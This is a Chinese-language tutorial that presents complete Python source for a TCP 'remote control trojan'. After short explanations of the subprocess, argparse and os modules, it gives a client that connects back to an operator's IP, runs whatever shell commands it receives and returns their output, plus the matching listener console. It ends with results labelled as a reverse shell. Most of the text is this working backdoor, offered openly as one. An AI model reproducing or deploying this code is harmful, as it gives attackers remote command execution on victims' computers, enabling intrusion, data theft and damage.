基于TCP连接的远程控制木马
一、subprocess模块
subprocess模块允许我们启动一个新进程,并连接至它们的标准输入/输出/错误管道,从而获取返回值。
二、argparse模块
argparse是python用于解析命令行参数和选项的标准模块,作用相当于是解析命令行参数。
基本用法步骤
import argparse #导入模块 parse = argparse.ArgumentParser() #创建解析对象 parse.add_argument() #向对象中添加命令行参数和选项 parse.parse_args() #解析参数和选项
三、os模块
os模块提供了多数操作系统的功能接口函数。当os模块被导入后,会自适应于不同的操作系统平台,根据不同的操作系统平台进行响应操作。例如下文所用的os.chdir(path)意为转到指定目录。
完整代码
import socket
import os
import subprocess
import argparse
def Trojan_client(ip,port):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建客户端socket
client.connect((ip,int(port))) #建立连接
while True:
new_socket = client.recv(1024) #接收来至服务端的数据
cmd = new_socket.decode() #对接收到的数据解码
if cmd == 'exit': #接收到的数据若为exit则关闭连接并跳出循环
client.close()
break
elif cmd.startswith('cd'): #判断接收到的数据是否以cd开头
os.chdir(cmd[2:].strip()) #从第三个字符开始取值,首尾去空并执行目录切换函数
client.sendall('[+] 目录切换成功'.encode()) #向服务端发送成功提示
elif cmd.startswith('start'):
os.system(cmd)
client.sendall('[+] {}执行成功'.format(cmd).encode())
else:
data = subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) #创建进程连接至标准输出/错误管道
output = data.stdout.read().decode('gbk') #读取标准输出数据
error = data.stderr.read().decode('gbk') #读取标准错误数据
result = ''
if output == '' and error == '':
result = ''
elif output != '':
result = output
elif error != '':
result = error
client.sendall(result.encode('utf8'))
def Trojan_server(ip,port):
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,True) #开启端口复用
server.bind((ip,int(port)))
while True:
server.listen(128)
print('start listen'.center(60,'='))
client_socket,addr = server.accept()
print(f'[+] {addr} online')
while True:
cmd = input('[+] CMD>')
if cmd == '':
continue
elif cmd == 'exit':
print(f'[-] {addr}断开连接')
server.close()
client_socket.sendall(cmd.encode())
result = ''
while True: #接收客户端执行命令后返回的信息
data = client_socket.recv(1024)
result += data.decode('utf8','replace')
if len(data) < 1024:
break
print(result)
if __name__ == '__main__':
parse = argparse.ArgumentParser(description='TCP REMOTE CONTROL TOOL')
parse.add_argument('-r','--remote',dest='connect',help='client connect to server')
parse.add_argument('-p','--port',dest='port',help='set port')
parse.add_argument('-l','--listen',dest='listen',help='open a server to listening client')
options = parse.parse_args()
port = options.port
if options.connect:
ip = options.connect
Trojan_client(ip,port)
elif options.listen:
ip = options.listen
Trojan_server(ip,port)
测试结果
服务端反弹shell
客户端反向连接